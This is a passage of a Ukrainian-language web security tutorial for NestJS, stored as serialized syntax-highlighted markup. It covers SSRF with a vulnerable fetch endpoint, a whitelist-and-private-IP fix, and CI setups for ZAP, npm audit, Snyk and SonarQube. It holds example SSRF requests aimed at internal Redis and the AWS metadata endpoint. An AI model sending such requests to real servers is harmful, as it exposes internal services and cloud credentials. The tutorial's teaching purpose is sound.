});\n",[5260,17151,17152],{"class":5262,"line":14610},[5260,17153,8170],{"class":5273},[5260,17155,17156],{"class":5262,"line":14615},[5260,17157,5417],{"class":5273},[5260,17159,17160],{"class":5262,"line":14624},[5260,17161,5423],{"class":5273},[5238,17163,17165],{"id":17164},"a10-server-side-request-forgery-ssrf","A10: Server-Side Request Forgery (SSRF)",[5089,17167,17168,17170],{},[5099,17169,13664],{}," зловмисник змушує сервер виконати запити до внутрішніх ресурсів або зовнішніх систем.",[5089,17172,17173],{},[5099,17174,5249],{},[5251,17176,17178],{"className":5253,"code":17177,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: fetching user-provided URL\n@Get('fetch')\nasync fetchUrl(@Query('url') url: string) {\n  const response = await fetch(url);\n  return response.text();\n}\n",[5200,17179,17180,17185,17198,17224,17242,17254],{"__ignoreMap":5256},[5260,17181,17182],{"class":5262,"line":5263},[5260,17183,17184],{"class":5266},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: fetching user-provided URL\n",[5260,17186,17187,17189,17191,17193,17196],{"class":5262,"line":5270},[5260,17188,5274],{"class":5273},[5260,17190,5315],{"class":5277},[5260,17192,5281],{"class":5273},[5260,17194,17195],{"class":5284},"'fetch'",[5260,17197,5288],{"class":5273},[5260,17199,17200,17202,17205,17207,17209,17211,17214,17216,17218,17220,17222],{"class":5262,"line":5291},[5260,17201,6676],{"class":5341},[5260,17203,17204],{"class":5277}," fetchUrl",[5260,17206,5327],{"class":5273},[5260,17208,5330],{"class":5277},[5260,17210,5281],{"class":5273},[5260,17212,17213],{"class":5284},"'url'",[5260,17215,5338],{"class":5273},[5260,17217,10000],{"class":5341},[5260,17219,5345],{"class":5273},[5260,17221,5348],{"class":5341},[5260,17223,5368],{"class":5273},[5260,17225,17226,17228,17230,17232,17234,17236,17238,17240],{"class":5262,"line":5309},[5260,17227,5807],{"class":5298},[5260,17229,8396],{"class":5531},[5260,17231,5535],{"class":5273},[5260,17233,5538],{"class":5294},[5260,17235,8403],{"class":5277},[5260,17237,5281],{"class":5273},[5260,17239,10000],{"class":5341},[5260,17241,5405],{"class":5273},[5260,17243,17244,17246,17248,17250,17252],{"class":5262,"line":5321},[5260,17245,6231],{"class":5294},[5260,17247,8396],{"class":5341},[5260,17249,5383],{"class":5273},[5260,17251,5434],{"class":5277},[5260,17253,5634],{"class":5273},[5260,17255,17256],{"class":5262,"line":5371},[5260,17257,5423],{"class":5273},[5089,17259,17260],{},[5099,17261,5428],{},[5251,17263,17266],{"className":17264,"code":17265,"language":5434},[5432],"GET \u002Ffetch?url=http:\u002F\u002Flocalhost:6379\u002F  # Доступ до внутрішнього Redis\nGET \u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F  # AWS metadata (credentials!)\n",[5200,17267,17265],{"__ignoreMap":5256},[5089,17269,17270],{},[5099,17271,13693],{},[5251,17273,17275],{"className":5253,"code":17274,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ✅ Whitelist дозволених доменів\nconst ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];\n\n@Get('fetch')\nasync fetchUrl(@Query('url') url: string) {\n  const parsedUrl = new URL(url);\n\n  \u002F\u002F Перевірка домену\n  if (!ALLOWED_DOMAINS.includes(parsedUrl.hostname)) {\n    throw new BadRequestException('Domain not allowed');\n  }\n\n  \u002F\u002F Заборона локальних IP\n  if (this.isPrivateIp(parsedUrl.hostname)) {\n    throw new BadRequestException('Access to private networks is forbidden');\n  }\n\n  const response = await fetch(url);\n  return response.text();\n}\n\nprivate isPrivateIp(hostname: string): boolean {\n  const privateRanges = [\n    \u002F^127\\.\u002F,           \u002F\u002F localhost\n    \u002F^10\\.\u002F,            \u002F\u002F 10.0.0.0\u002F8\n    \u002F^172\\.(1[6-9]|2[0-9]|3[01])\\.\u002F,  \u002F\u002F 172.16.0.0\u002F12\n    \u002F^192\\.168\\.\u002F,      \u002F\u002F 192.168.0.0\u002F16\n    \u002F^169\\.254\\.\u002F,      \u002F\u002F AWS metadata\n  ];\n\n  return privateRanges.some(regex => regex.test(hostname));\n}\n",[5200,17276,17277,17282,17301,17305,17317,17341,17360,17364,17369,17394,17409,17413,17417,17422,17445,17460,17464,17468,17486,17498,17502,17506,17528,17538,17558,17577,17634,17658,17681,17686,17690,17720],{"__ignoreMap":5256},[5260,17278,17279],{"class":5262,"line":5263},[5260,17280,17281],{"class":5266},"\u002F\u002F ✅ Whitelist дозволених доменів\n",[5260,17283,17284,17286,17289,17291,17294,17296,17299],{"class":5262,"line":5270},[5260,17285,5865],{"class":5298},[5260,17287,17288],{"class":5531}," ALLOWED_DOMAINS",[5260,17290,8081],{"class":5273},[5260,17292,17293],{"class":5284},"'api.example.com'",[5260,17295,6012],{"class":5273},[5260,17297,17298],{"class":5284},"'cdn.example.com'",[5260,17300,8092],{"class":5273},[5260,17302,17303],{"class":5262,"line":5291},[5260,17304,5577],{"emptyLinePlaceholder":5576},[5260,17306,17307,17309,17311,17313,17315],{"class":5262,"line":5309},[5260,17308,5274],{"class":5273},[5260,17310,5315],{"class":5277},[5260,17312,5281],{"class":5273},[5260,17314,17195],{"class":5284},[5260,17316,5288],{"class":5273},[5260,17318,17319,17321,17323,17325,17327,17329,17331,17333,17335,17337,17339],{"class":5262,"line":5321},[5260,17320,6676],{"class":5341},[5260,17322,17204],{"class":5277},[5260,17324,5327],{"class":5273},[5260,17326,5330],{"class":5277},[5260,17328,5281],{"class":5273},[5260,17330,17213],{"class":5284},[5260,17332,5338],{"class":5273},[5260,17334,10000],{"class":5341},[5260,17336,5345],{"class":5273},[5260,17338,5348],{"class":5341},[5260,17340,5368],{"class":5273},[5260,17342,17343,17345,17348,17350,17352,17354,17356,17358],{"class":5262,"line":5371},[5260,17344,5807],{"class":5298},[5260,17346,17347],{"class":5531}," parsedUrl",[5260,17349,5535],{"class":5273},[5260,17351,6504],{"class":5298},[5260,17353,8188],{"class":5277},[5260,17355,5281],{"class":5273},[5260,17357,10000],{"class":5341},[5260,17359,5405],{"class":5273},[5260,17361,17362],{"class":5262,"line":5377},[5260,17363,5577],{"emptyLinePlaceholder":5576},[5260,17365,17366],{"class":5262,"line":5408},[5260,17367,17368],{"class":5266},"  \u002F\u002F Перевірка домену\n",[5260,17370,17371,17373,17375,17378,17380,17382,17384,17387,17389,17392],{"class":5262,"line":5414},[5260,17372,10234],{"class":5294},[5260,17374,8146],{"class":5273},[5260,17376,17377],{"class":5531},"ALLOWED_DOMAINS",[5260,17379,5383],{"class":5273},[5260,17381,8208],{"class":5277},[5260,17383,5281],{"class":5273},[5260,17385,17386],{"class":5341},"parsedUrl",[5260,17388,5383],{"class":5273},[5260,17390,17391],{"class":5341},"hostname",[5260,17393,8220],{"class":5273},[5260,17395,17396,17398,17400,17402,17404,17407],{"class":5262,"line":5420},[5260,17397,10666],{"class":5294},[5260,17399,8228],{"class":5298},[5260,17401,12956],{"class":5277},[5260,17403,5281],{"class":5273},[5260,17405,17406],{"class":5284},"'Domain not allowed'",[5260,17408,5405],{"class":5273},[5260,17410,17411],{"class":5262,"line":5580},[5260,17412,5417],{"class":5273},[5260,17414,17415],{"class":5262,"line":5589},[5260,17416,5577],{"emptyLinePlaceholder":5576},[5260,17418,17419],{"class":5262,"line":5611},[5260,17420,17421],{"class":5266},"  \u002F\u002F Заборона локальних IP\n",[5260,17423,17424,17426,17428,17430,17432,17435,17437,17439,17441,17443],{"class":5262,"line":5637},[5260,17425,10234],{"class":5294},[5260,17427,8600],{"class":5273},[5260,17429,7740],{"class":5298},[5260,17431,5383],{"class":5273},[5260,17433,17434],{"class":5277},"isPrivateIp",[5260,17436,5281],{"class":5273},[5260,17438,17386],{"class":5341},[5260,17440,5383],{"class":5273},[5260,17442,17391],{"class":5341},[5260,17444,8220],{"class":5273},[5260,17446,17447,17449,17451,17453,17455,17458],{"class":5262,"line":5643},[5260,17448,10666],{"class":5294},[5260,17450,8228],{"class":5298},[5260,17452,12956],{"class":5277},[5260,17454,5281],{"class":5273},[5260,17456,17457],{"class":5284},"'Access to private networks is forbidden'",[5260,17459,5405],{"class":5273},[5260,17461,17462],{"class":5262,"line":5649},[5260,17463,5417],{"class":5273},[5260,17465,17466],{"class":5262,"line":5662},[5260,17467,5577],{"emptyLinePlaceholder":5576},[5260,17469,17470,17472,17474,17476,17478,17480,17482,17484],{"class":5262,"line":5698},[5260,17471,5807],{"class":5298},[5260,17473,8396],{"class":5531},[5260,17475,5535],{"class":5273},[5260,17477,5538],{"class":5294},[5260,17479,8403],{"class":5277},[5260,17481,5281],{"class":5273},[5260,17483,10000],{"class":5341},[5260,17485,5405],{"class":5273},[5260,17487,17488,17490,17492,17494,17496],{"class":5262,"line":5713},[5260,17489,6231],{"class":5294},[5260,17491,8396],{"class":5341},[5260,17493,5383],{"class":5273},[5260,17495,5434],{"class":5277},[5260,17497,5634],{"class":5273},[5260,17499,17500],{"class":5262,"line":5718},[5260,17501,5423],{"class":5273},[5260,17503,17504],{"class":5262,"line":5734},[5260,17505,5577],{"emptyLinePlaceholder":5576},[5260,17507,17508,17511,17514,17516,17518,17520,17522,17524,17526],{"class":5262,"line":5739},[5260,17509,17510],{"class":5341},"private",[5260,17512,17513],{"class":5277}," isPrivateIp",[5260,17515,5281],{"class":5273},[5260,17517,17391],{"class":5341},[5260,17519,5345],{"class":5273},[5260,17521,5348],{"class":5341},[5260,17523,6115],{"class":5273},[5260,17525,8045],{"class":5341},[5260,17527,5306],{"class":5273},[5260,17529,17530,17532,17535],{"class":5262,"line":8257},[5260,17531,5807],{"class":5298},[5260,17533,17534],{"class":5531}," privateRanges",[5260,17536,17537],{"class":5273}," = [\n",[5260,17539,17540,17543,17545,17548,17550,17552,17555],{"class":5262,"line":8262},[5260,17541,17542],{"class":6244},"    \u002F",[5260,17544,6902],{"class":6901},[5260,17546,17547],{"class":6244},"127",[5260,17549,11767],{"class":11766},[5260,17551,6245],{"class":6244},[5260,17553,17554],{"class":5273},",           ",[5260,17556,17557],{"class":5266},"\u002F\u002F localhost\n",[5260,17559,17560,17562,17564,17567,17569,17571,17574],{"class":5262,"line":10095},[5260,17561,17542],{"class":6244},[5260,17563,6902],{"class":6901},[5260,17565,17566],{"class":6244},"10",[5260,17568,11767],{"class":11766},[5260,17570,6245],{"class":6244},[5260,17572,17573],{"class":5273},",            ",[5260,17575,17576],{"class":5266},"\u002F\u002F 10.0.0.0\u002F8\n",[5260,17578,17579,17581,17583,17586,17588,17590,17592,17594,17597,17599,17602,17604,17606,17609,17611,17613,17616,17618,17621,17624,17626,17628,17631],{"class":5262,"line":10101},[5260,17580,17542],{"class":6244},[5260,17582,6902],{"class":6901},[5260,17584,17585],{"class":6244},"172",[5260,17587,11767],{"class":11766},[5260,17589,5281],{"class":6248},[5260,17591,5894],{"class":6244},[5260,17593,6249],{"class":6248},[5260,17595,17596],{"class":6244},"6-9",[5260,17598,6255],{"class":6248},[5260,17600,17601],{"class":6901},"|",[5260,17603,17101],{"class":6244},[5260,17605,6249],{"class":6248},[5260,17607,17608],{"class":6244},"0-9",[5260,17610,6255],{"class":6248},[5260,17612,17601],{"class":6901},[5260,17614,17615],{"class":6244},"3",[5260,17617,6249],{"class":6248},[5260,17619,17620],{"class":6244},"01",[5260,17622,17623],{"class":6248},"])",[5260,17625,11767],{"class":11766},[5260,17627,6245],{"class":6244},[5260,17629,17630],{"class":5273},",  ",[5260,17632,17633],{"class":5266},"\u002F\u002F 172.16.0.0\u002F12\n",[5260,17635,17636,17638,17640,17643,17645,17648,17650,17652,17655],{"class":5262,"line":10106},[5260,17637,17542],{"class":6244},[5260,17639,6902],{"class":6901},[5260,17641,17642],{"class":6244},"192",[5260,17644,11767],{"class":11766},[5260,17646,17647],{"class":6244},"168",[5260,17649,11767],{"class":11766},[5260,17651,6245],{"class":6244},[5260,17653,17654],{"class":5273},",      ",[5260,17656,17657],{"class":5266},"\u002F\u002F 192.168.0.0\u002F16\n",[5260,17659,17660,17662,17664,17667,17669,17672,17674,17676,17678],{"class":5262,"line":13186},[5260,17661,17542],{"class":6244},[5260,17663,6902],{"class":6901},[5260,17665,17666],{"class":6244},"169",[5260,17668,11767],{"class":11766},[5260,17670,17671],{"class":6244},"254",[5260,17673,11767],{"class":11766},[5260,17675,6245],{"class":6244},[5260,17677,17654],{"class":5273},[5260,17679,17680],{"class":5266},"\u002F\u002F AWS metadata\n",[5260,17682,17683],{"class":5262,"line":13191},[5260,17684,17685],{"class":5273},"  ];\n",[5260,17687,17688],{"class":5262,"line":13196},[5260,17689,5577],{"emptyLinePlaceholder":5576},[5260,17691,17692,17694,17696,17698,17700,17702,17705,17707,17710,17712,17714,17716,17718],{"class":5262,"line":14554},[5260,17693,6231],{"class":5294},[5260,17695,17534],{"class":5341},[5260,17697,5383],{"class":5273},[5260,17699,16743],{"class":5277},[5260,17701,5281],{"class":5273},[5260,17703,17704],{"class":5341},"regex",[5260,17706,5676],{"class":5298},[5260,17708,17709],{"class":5341}," regex",[5260,17711,5383],{"class":5273},[5260,17713,12941],{"class":5277},[5260,17715,5281],{"class":5273},[5260,17717,17391],{"class":5341},[5260,17719,13168],{"class":5273},[5260,17721,17722],{"class":5262,"line":14559},[5260,17723,5423],{"class":5273},[5143,17725],{},[5084,17727,17729],{"id":17728},"інструменти-для-тестування-безпеки","Інструменти для тестування безпеки",[5233,17731,17733],{"id":17732},"_1-owasp-zap-zed-attack-proxy","1. OWASP ZAP (Zed Attack Proxy)",[5089,17735,17736,17738],{},[5099,17737,13664],{}," безкоштовний інструмент для автоматичного сканування вразливостей.",[5089,17740,17741],{},[5099,17742,17743],{},"Встановлення:",[5251,17745,17747],{"className":6416,"code":17746,"language":6418,"meta":5256,"style":5256},"# Docker\ndocker pull zaproxy\u002Fzap-stable\n\n# Запуск сканування\ndocker run -t zaproxy\u002Fzap-stable zap-baseline.py -t http:\u002F\u002Flocalhost:3000\n",[5200,17748,17749,17754,17765,17769,17774],{"__ignoreMap":5256},[5260,17750,17751],{"class":5262,"line":5263},[5260,17752,17753],{"class":5266},"# Docker\n",[5260,17755,17756,17759,17762],{"class":5262,"line":5270},[5260,17757,17758],{"class":5277},"docker",[5260,17760,17761],{"class":5284}," pull",[5260,17763,17764],{"class":5284}," zaproxy\u002Fzap-stable\n",[5260,17766,17767],{"class":5262,"line":5291},[5260,17768,5577],{"emptyLinePlaceholder":5576},[5260,17770,17771],{"class":5262,"line":5309},[5260,17772,17773],{"class":5266},"# Запуск сканування\n",[5260,17775,17776,17778,17781,17784,17787,17790,17792],{"class":5262,"line":5321},[5260,17777,17758],{"class":5277},[5260,17779,17780],{"class":5284}," run",[5260,17782,17783],{"class":5298}," -t",[5260,17785,17786],{"class":5284}," zaproxy\u002Fzap-stable",[5260,17788,17789],{"class":5284}," zap-baseline.py",[5260,17791,17783],{"class":5298},[5260,17793,17794],{"class":5284}," http:\u002F\u002Flocalhost:3000\n",[5089,17796,17797],{},[5099,17798,17799],{},"Інтеграція у CI\u002FCD:",[5251,17801,17805],{"className":17802,"code":17803,"language":17804,"meta":5256,"style":5256},"language-yaml shiki shiki-themes light-plus dark-plus dark-plus","# .github\u002Fworkflows\u002Fsecurity-scan.yml\nname: Security Scan\n\non: [push, pull_request]\n\njobs:\n  zap-scan:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v3\n      \n      - name: Start application\n        run: |\n          npm install\n          npm run build\n          npm start &\n          sleep 10\n\n      - name: ZAP Scan\n        uses: zaproxy\u002Faction-baseline@v0.7.0\n        with:\n          target: 'http:\u002F\u002Flocalhost:3000'\n","yaml",[5200,17806,17807,17812,17822,17826,17844,17848,17856,17863,17873,17880,17893,17897,17908,17918,17923,17928,17933,17938,17942,17953,17963,17970],{"__ignoreMap":5256},[5260,17808,17809],{"class":5262,"line":5263},[5260,17810,17811],{"class":5266},"# .github\u002Fworkflows\u002Fsecurity-scan.yml\n",[5260,17813,17814,17817,17819],{"class":5262,"line":5270},[5260,17815,17816],{"class":7019},"name",[5260,17818,5345],{"class":5273},[5260,17820,17821],{"class":7030},"Security Scan\n",[5260,17823,17824],{"class":5262,"line":5291},[5260,17825,5577],{"emptyLinePlaceholder":5576},[5260,17827,17828,17830,17833,17836,17838,17841],{"class":5262,"line":5309},[5260,17829,13062],{"class":5298},[5260,17831,17832],{"class":5273},": [",[5260,17834,17835],{"class":7030},"push",[5260,17837,6012],{"class":5273},[5260,17839,17840],{"class":7030},"pull_request",[5260,17842,17843],{"class":5273},"]\n",[5260,17845,17846],{"class":5262,"line":5321},[5260,17847,5577],{"emptyLinePlaceholder":5576},[5260,17849,17850,17853],{"class":5262,"line":5371},[5260,17851,17852],{"class":7019},"jobs",[5260,17854,17855],{"class":5273},":\n",[5260,17857,17858,17861],{"class":5262,"line":5377},[5260,17859,17860],{"class":7019},"  zap-scan",[5260,17862,17855],{"class":5273},[5260,17864,17865,17868,17870],{"class":5262,"line":5408},[5260,17866,17867],{"class":7019},"    runs-on",[5260,17869,5345],{"class":5273},[5260,17871,17872],{"class":7030},"ubuntu-latest\n",[5260,17874,17875,17878],{"class":5262,"line":5414},[5260,17876,17877],{"class":7019},"    steps",[5260,17879,17855],{"class":5273},[5260,17881,17882,17885,17888,17890],{"class":5262,"line":5420},[5260,17883,17884],{"class":5273},"      - ",[5260,17886,17887],{"class":7019},"uses",[5260,17889,5345],{"class":5273},[5260,17891,17892],{"class":7030},"actions\u002Fcheckout@v3\n",[5260,17894,17895],{"class":5262,"line":5580},[5260,17896,15704],{"class":5273},[5260,17898,17899,17901,17903,17905],{"class":5262,"line":5589},[5260,17900,17884],{"class":5273},[5260,17902,17816],{"class":7019},[5260,17904,5345],{"class":5273},[5260,17906,17907],{"class":7030},"Start application\n",[5260,17909,17910,17913,17915],{"class":5262,"line":5611},[5260,17911,17912],{"class":7019},"        run",[5260,17914,5345],{"class":5273},[5260,17916,17917],{"class":5294},"|\n",[5260,17919,17920],{"class":5262,"line":5637},[5260,17921,17922],{"class":7030},"          npm install\n",[5260,17924,17925],{"class":5262,"line":5643},[5260,17926,17927],{"class":7030},"          npm run build\n",[5260,17929,17930],{"class":5262,"line":5649},[5260,17931,17932],{"class":7030},"          npm start &\n",[5260,17934,17935],{"class":5262,"line":5662},[5260,17936,17937],{"class":7030},"          sleep 10\n",[5260,17939,17940],{"class":5262,"line":5698},[5260,17941,5577],{"emptyLinePlaceholder":5576},[5260,17943,17944,17946,17948,17950],{"class":5262,"line":5713},[5260,17945,17884],{"class":5273},[5260,17947,17816],{"class":7019},[5260,17949,5345],{"class":5273},[5260,17951,17952],{"class":7030},"ZAP Scan\n",[5260,17954,17955,17958,17960],{"class":5262,"line":5718},[5260,17956,17957],{"class":7019},"        uses",[5260,17959,5345],{"class":5273},[5260,17961,17962],{"class":7030},"zaproxy\u002Faction-baseline@v0.7.0\n",[5260,17964,17965,17968],{"class":5262,"line":5734},[5260,17966,17967],{"class":7019},"        with",[5260,17969,17855],{"class":5273},[5260,17971,17972,17975,17977],{"class":5262,"line":5739},[5260,17973,17974],{"class":7019},"          target",[5260,17976,5345],{"class":5273},[5260,17978,17979],{"class":7030},"'http:\u002F\u002Flocalhost:3000'\n",[5233,17981,17983],{"id":17982},"_2-npm-audit","2. npm audit",[5089,17985,17986],{},[5099,17987,17988],{},"Перевірка вразливостей у залежностях:",[5251,17990,17992],{"className":6416,"code":17991,"language":6418,"meta":5256,"style":5256},"# Базовий аудит\nnpm audit\n\n# Детальний звіт\nnpm audit --json > audit-report.json\n\n# Автоматичне виправлення\nnpm audit fix\n\n# Примусове виправлення (breaking changes)\nnpm audit fix --force\n",[5200,17993,17994,17999,18005,18009,18014,18028,18032,18037,18045,18049,18054],{"__ignoreMap":5256},[5260,17995,17996],{"class":5262,"line":5263},[5260,17997,17998],{"class":5266},"# Базовий аудит\n",[5260,18000,18001,18003],{"class":5262,"line":5270},[5260,18002,6425],{"class":5277},[5260,18004,15173],{"class":5284},[5260,18006,18007],{"class":5262,"line":5291},[5260,18008,5577],{"emptyLinePlaceholder":5576},[5260,18010,18011],{"class":5262,"line":5309},[5260,18012,18013],{"class":5266},"# Детальний звіт\n",[5260,18015,18016,18018,18020,18023,18025],{"class":5262,"line":5321},[5260,18017,6425],{"class":5277},[5260,18019,15189],{"class":5284},[5260,18021,18022],{"class":5298}," --json",[5260,18024,16123],{"class":5273},[5260,18026,18027],{"class":5284},"audit-report.json\n",[5260,18029,18030],{"class":5262,"line":5371},[5260,18031,5577],{"emptyLinePlaceholder":5576},[5260,18033,18034],{"class":5262,"line":5377},[5260,18035,18036],{"class":5266},"# Автоматичне виправлення\n",[5260,18038,18039,18041,18043],{"class":5262,"line":5408},[5260,18040,6425],{"class":5277},[5260,18042,15189],{"class":5284},[5260,18044,15192],{"class":5284},[5260,18046,18047],{"class":5262,"line":5414},[5260,18048,5577],{"emptyLinePlaceholder":5576},[5260,18050,18051],{"class":5262,"line":5420},[5260,18052,18053],{"class":5266},"# Примусове виправлення (breaking changes)\n",[5260,18055,18056,18058,18060,18063],{"class":5262,"line":5580},[5260,18057,6425],{"class":5277},[5260,18059,15189],{"class":5284},[5260,18061,18062],{"class":5284}," fix",[5260,18064,18065],{"class":5298}," --force\n",[5233,18067,18069],{"id":18068},"_3-snyk","3. Snyk",[5089,18071,18072],{},[5099,18073,18074],{},"Інтеграція з GitHub:",[5251,18076,18078],{"className":17802,"code":18077,"language":17804,"meta":5256,"style":5256},"# .github\u002Fworkflows\u002Fsnyk.yml\nname: Snyk Security Scan\n\non: [push, pull_request]\n\njobs:\n  security:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v3\n      \n      - name: Run Snyk to check for vulnerabilities\n        uses: snyk\u002Factions\u002Fnode@master\n        env:\n          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}\n",[5200,18079,18080,18085,18094,18098,18112,18116,18122,18129,18137,18143,18153,18157,18168,18177,18184],{"__ignoreMap":5256},[5260,18081,18082],{"class":5262,"line":5263},[5260,18083,18084],{"class":5266},"# .github\u002Fworkflows\u002Fsnyk.yml\n",[5260,18086,18087,18089,18091],{"class":5262,"line":5270},[5260,18088,17816],{"class":7019},[5260,18090,5345],{"class":5273},[5260,18092,18093],{"class":7030},"Snyk Security Scan\n",[5260,18095,18096],{"class":5262,"line":5291},[5260,18097,5577],{"emptyLinePlaceholder":5576},[5260,18099,18100,18102,18104,18106,18108,18110],{"class":5262,"line":5309},[5260,18101,13062],{"class":5298},[5260,18103,17832],{"class":5273},[5260,18105,17835],{"class":7030},[5260,18107,6012],{"class":5273},[5260,18109,17840],{"class":7030},[5260,18111,17843],{"class":5273},[5260,18113,18114],{"class":5262,"line":5321},[5260,18115,5577],{"emptyLinePlaceholder":5576},[5260,18117,18118,18120],{"class":5262,"line":5371},[5260,18119,17852],{"class":7019},[5260,18121,17855],{"class":5273},[5260,18123,18124,18127],{"class":5262,"line":5377},[5260,18125,18126],{"class":7019},"  security",[5260,18128,17855],{"class":5273},[5260,18130,18131,18133,18135],{"class":5262,"line":5408},[5260,18132,17867],{"class":7019},[5260,18134,5345],{"class":5273},[5260,18136,17872],{"class":7030},[5260,18138,18139,18141],{"class":5262,"line":5414},[5260,18140,17877],{"class":7019},[5260,18142,17855],{"class":5273},[5260,18144,18145,18147,18149,18151],{"class":5262,"line":5420},[5260,18146,17884],{"class":5273},[5260,18148,17887],{"class":7019},[5260,18150,5345],{"class":5273},[5260,18152,17892],{"class":7030},[5260,18154,18155],{"class":5262,"line":5580},[5260,18156,15704],{"class":5273},[5260,18158,18159,18161,18163,18165],{"class":5262,"line":5589},[5260,18160,17884],{"class":5273},[5260,18162,17816],{"class":7019},[5260,18164,5345],{"class":5273},[5260,18166,18167],{"class":7030},"Run Snyk to check for vulnerabilities\n",[5260,18169,18170,18172,18174],{"class":5262,"line":5611},[5260,18171,17957],{"class":7019},[5260,18173,5345],{"class":5273},[5260,18175,18176],{"class":7030},"snyk\u002Factions\u002Fnode@master\n",[5260,18178,18179,18182],{"class":5262,"line":5637},[5260,18180,18181],{"class":7019},"        env",[5260,18183,17855],{"class":5273},[5260,18185,18186,18189,18191],{"class":5262,"line":5643},[5260,18187,18188],{"class":7019},"          SNYK_TOKEN",[5260,18190,5345],{"class":5273},[5260,18192,18193],{"class":7030},"${{ secrets.SNYK_TOKEN }}\n",[5233,18195,18197],{"id":18196},"_4-sonarqube","4. SonarQube",[5089,18199,18200],{},[5099,18201,18202],{},"Статичний аналіз коду:",[5251,18204,18206],{"className":6416,"code":18205,"language":6418,"meta":5256,"style":5256},"# Docker Compose\ndocker compose up -d sonarqube\n\n# Сканування проєкту\nnpx sonarqube-scanner \\\n  -Dsonar.projectKey=my-project \\\n  -Dsonar.sources=.\u002Fsrc \\\n  -Dsonar.host.url=http:\u002F\u002Flocalhost:9000 \\\n  -Dsonar.login=YOUR_TOKEN\n",[5200,18207,18208,18213,18229,18233,18238,18249,18256,18263,18270],{"__ignoreMap":5256},[5260,18209,18210],{"class":5262,"line":5263},[5260,18211,18212],{"class":5266},"# Docker Compose\n",[5260,18214,18215,18217,18220,18223,18226],{"class":5262,"line":5270},[5260,18216,17758],{"class":5277},[5260,18218,18219],{"class":5284}," compose",[5260,18221,18222],{"class":5284}," up",[5260,18224,18225],{"class":5298}," -d",[5260,18227,18228],{"class":5284}," sonarqube\n",[5260,18230,18231],{"class":5262,"line":5291},[5260,18232,5577],{"emptyLinePlaceholder":5576},[5260,18234,18235],{"class":5262,"line":5309},[5260,18236,18237],{"class":5266},"# Сканування проєкту\n",[5260,18239,18240,18243,18246],{"class":5262,"line":5321},[5260,18241,18242],{"class":5277},"npx",[5260,18244,18245],{"class":5284}," sonarqube-scanner",[5260,18247,18248],{"class":11766}," \\\n",[5260,18250,18251,18254],{"class":5262,"line":5371},[5260,18252,18253],{"class":5298},"  -Dsonar.projectKey=my-project",[5260,18255,18248],{"class":11766},[5260,18257,18258,18261],{"class":5262,"line":5377},[5260,18259,18260],{"class":5298},"  -Dsonar.sources=.\u002Fsrc",[5260,18262,18248],{"class":11766},[5260,18264,18265,18268],{"class":5262,"line":5408},[5260,18266,18267],{"class":5298},"  -Dsonar.host.url=http:\u002F\u002Flocalhost:9000",[5260,18269,18248],{"class":11766},[5260,18271,18272],{"class":5262,"line":5414},[5260,18273,18274],{"class":5298},"  -Dsonar.login=YOUR_TOKEN\n",[5143,18276],{},[5084,18278,18280],{"id":18279},"best-practices-для-security","Best Practices для Security",[5233,18282,18284],{"id":18283},"_1-principle-of-least-privilege","1. Principle of Least Privilege",[5089,18286,18287],{},"Надавайте мінімальні необхідні права:",[5251,18289,18291],{"className":5253,"code":18290,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ✅ Різні ролі з різними правами\nexport enum Role {\n  USER = 'user',           \u002F\u002F Може читати свій профіль\n  MODERATOR = 'moderator', \u002F\u002F Може модерувати контент\n  ADMIN = 'admin',         \u002F\u002F Повний доступ\n}\n\n@Get('users\u002F:id')\n@Roles(Role.ADMIN, Role.MODERATOR) \u002F\u002F Лише admin та moderator\nasync getUser(@Param('id') id: string) {\n  return this.userService.findOne(id);\n}\n",[5200,18292,18293,18298,18310,18324,18339,18354,18358,18362,18375,18406,18431,18451],{"__ignoreMap":5256},[5260,18294,18295],{"class":5262,"line":5263},[5260,18296,18297],{"class":5266},"\u002F\u002F ✅ Різні ролі з різними правами\n",[5260,18299,18300,18302,18305,18308],{"class":5262,"line":5270},[5260,18301,5295],{"class":5294},[5260,18303,18304],{"class":5298}," enum",[5260,18306,18307],{"class":5302}," Role",[5260,18309,5306],{"class":5273},[5260,18311,18312,18315,18317,18319,18321],{"class":5262,"line":5291},[5260,18313,18314],{"class":5531},"  USER",[5260,18316,5535],{"class":5273},[5260,18318,8938],{"class":5284},[5260,18320,17554],{"class":5273},[5260,18322,18323],{"class":5266},"\u002F\u002F Може читати свій профіль\n",[5260,18325,18326,18329,18331,18334,18336],{"class":5262,"line":5309},[5260,18327,18328],{"class":5531},"  MODERATOR",[5260,18330,5535],{"class":5273},[5260,18332,18333],{"class":5284},"'moderator'",[5260,18335,6012],{"class":5273},[5260,18337,18338],{"class":5266},"\u002F\u002F Може модерувати контент\n",[5260,18340,18341,18344,18346,18348,18351],{"class":5262,"line":5321},[5260,18342,18343],{"class":5531},"  ADMIN",[5260,18345,5535],{"class":5273},[5260,18347,11282],{"class":5284},[5260,18349,18350],{"class":5273},",         ",[5260,18352,18353],{"class":5266},"\u002F\u002F Повний доступ\n",[5260,18355,18356],{"class":5262,"line":5371},[5260,18357,5423],{"class":5273},[5260,18359,18360],{"class":5262,"line":5377},[5260,18361,5577],{"emptyLinePlaceholder":5576},[5260,18363,18364,18366,18368,18370,18373],{"class":5262,"line":5408},[5260,18365,5274],{"class":5273},[5260,18367,5315],{"class":5277},[5260,18369,5281],{"class":5273},[5260,18371,18372],{"class":5284},"'users\u002F:id'",[5260,18374,5288],{"class":5273},[5260,18376,18377,18379,18382,18384,18387,18389,18392,18394,18396,18398,18401,18403],{"class":5262,"line":5414},[5260,18378,5274],{"class":5273},[5260,18380,18381],{"class":5277},"Roles",[5260,18383,5281],{"class":5273},[5260,18385,18386],{"class":5341},"Role",[5260,18388,5383],{"class":5273},[5260,18390,18391],{"class":5531},"ADMIN",[5260,18393,6012],{"class":5273},[5260,18395,18386],{"class":5341},[5260,18397,5383],{"class":5273},[5260,18399,18400],{"class":5531},"MODERATOR",[5260,18402,5338],{"class":5273},[5260,18404,18405],{"class":5266},"\u002F\u002F Лише admin та 